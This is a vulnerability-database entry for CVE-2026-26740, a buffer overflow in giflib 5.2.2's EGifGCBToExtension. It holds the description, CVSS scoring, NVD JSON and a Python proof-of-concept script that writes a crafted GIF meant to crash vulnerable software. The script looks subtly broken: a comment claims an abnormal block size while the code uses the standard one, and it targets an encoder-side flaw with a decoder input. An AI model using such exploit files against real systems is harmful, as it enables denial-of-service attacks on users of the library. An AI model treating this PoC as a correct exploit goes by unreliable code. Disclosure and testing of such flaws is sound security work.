Security Vulnerability Report
中文
CVE-2026-26740 CVSS 8.2 HIGH

CVE-2026-26740

Published: 2026-03-18 18:16:26
Last Modified: 2026-03-21 00:09:01

Description

Buffer Overflow vulnerability in giflib v.5.2.2 allows a remote attacker to cause a denial of service via the EGifGCBToExtension overwriting an existing Graphic Control Extension block without validating its allocated size.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:giflib_project:giflib:5.2.2:*:*:*:*:*:*:* - VULNERABLE
giflib < 5.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-26740 PoC - giflib Buffer Overflow in EGifGCBToExtension This PoC generates a malicious GIF file that triggers buffer overflow """ import struct def create_malicious_gif(): """ Create a malicious GIF file that exploits CVE-2026-26740 by crafting a GIF with malformed Graphic Control Extension blocks """ # GIF Header gif_header = b'GIF89a' # Logical Screen Descriptor width = 100 height = 100 lsd = struct.pack('<HHBBB', width, height, 0xF7, 0, 0) # Global Color Table (3 colors) gct = b'\xFF\x00\x00\x00\xFF\x00\x00\x00\xFF' # Malformed Graphic Control Extension # Block size should be 4, but we craft it with abnormal data gce_block_size = b'\x04' # Standard block size # Packed byte fields packed_byte = b'\x09' # Disposal method, user input flag, transparency flag # Delay time (2 bytes) delay_time = struct.pack('<H', 0xFFFF) # Abnormal large delay # Transparent color index transparent_index = b'\xFF' # Block terminator block_term = b'\x00' # Application Extension for Netscape (to create loop) netscape_ext = b'\x21\xFF\x0BNETSCAPE2.0\x03\x01\x00\x00\x00' # Image Descriptor img_desc = b'\x2C\x00\x00\x00\x00\x64\x00\x64\x00\x00' # Image Data (minimal LZW compressed data) lzw_min_code_size = b'\x08' # Sub-block with minimal image data img_data = b'\x08\x00\xF8\x3F\x00' # Trailer trailer = b'\x3B' # Construct the malicious GIF malicious_gif = ( gif_header + lsd + gct + # First GCE block b'\x21\xF9\x04' + packed_byte + delay_time + transparent_index + block_term + netscape_ext + # Image block img_desc + lzw_min_code_size + img_data + # Additional malformed GCE to trigger overflow b'\x21\xF9\x04' + b'\xFF' * 4 + block_term + trailer ) return malicious_gif def main(): """ Generate and save the PoC GIF file """ print("[*] Generating CVE-2026-26740 PoC GIF file...") gif_data = create_malicious_gif() output_file = "CVE-2026-26740_poc.gif" with open(output_file, 'wb') as f: f.write(gif_data) print(f"[+] PoC file saved as: {output_file}") print(f"[+] File size: {len(gif_data)} bytes") print("[*] This file can trigger buffer overflow in giflib EGifGCBToExtension function") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26740", "sourceIdentifier": "[email protected]", "published": "2026-03-18T18:16:26.220", "lastModified": "2026-03-21T00:09:00.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Buffer Overflow vulnerability in giflib v.5.2.2 allows a remote attacker to cause a denial of service via the EGifGCBToExtension overwriting an existing Graphic Control Extension block without validating its allocated size."}, {"lang": "es", "value": "Vulnerabilidad de desbordamiento de búfer en giflib v.5.2.2 permite a un atacante remoto causar una denegación de servicio a través de EGifGCBToExtension sobrescribiendo un bloque de extensión de control gráfico existente sin validar su tamaño asignado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:giflib_project:giflib:5.2.2:*:*:*:*:*:*:*", "matchCriteriaId": "CC3B1EB3-6B22-4CA4-8BBA-7AB8A754FAB2"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/giflib/giftool/giflib_giftool_gce_len_heap_oobwrite_disclosure.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}